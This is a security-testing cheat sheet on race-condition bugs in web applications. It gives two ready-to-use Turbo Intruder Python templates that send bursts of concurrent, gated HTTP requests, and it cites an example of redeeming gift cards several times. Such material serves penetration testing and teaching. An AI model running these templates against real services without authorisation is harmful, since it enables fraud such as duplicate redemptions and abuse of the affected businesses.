Race Condition

Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language.

Summary

• Race Condition
• Summary
• Tools
• Turbo Intruder Examples
• Turbo Intruder 2 Requests Examples
• References

Tools

• Turbo Intruder - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.

Turbo Intruder Examples

1. Send request to turbo intruder

2. Use this python code as a payload of the turbo intruder ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=30, pipeline=False )

   for i in range(30): engine.queue(target.req, i) engine.queue(target.req, target.baseInput, gate='race1')

   engine.start(timeout=5)
   

   engine.openGate('race1')

   engine.complete(timeout=60)
   

   def handleResponse(req, interesting): table.add(req) ``` 3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder 4. Click "Attack"

Turbo Intruder 2 Requests Examples

This following template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds.

def queueRequests(target, wordlists): 
    engine = RequestEngine(endpoint=target.endpoint, 
                           concurrentConnections=30, 
                           requestsPerConnection=100, 
                           pipeline=False 
                           ) 
    request1 = '''
POST /target-URI-1 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>

parameterName=parameterValue
    ''' 

    request2 = '''
GET /target-URI-2 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>
    '''

    engine.queue(request1, gate='race1')
    for i in range(30): 
        engine.queue(request2, gate='race1') 
    engine.openGate('race1') 
    engine.complete(timeout=60) 
def handleResponse(req, interesting): 
    table.add(req)

References

• Race Condition allows to redeem multiple times gift cards which leads to free "money" - @muon4
• Turbo Intruder: Embracing the billion-request attack - James Kettle | 25 January 2019
• Race Condition Bug In Web App: A Use Case - Mandeep Jadon

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Last update: August 30, 2022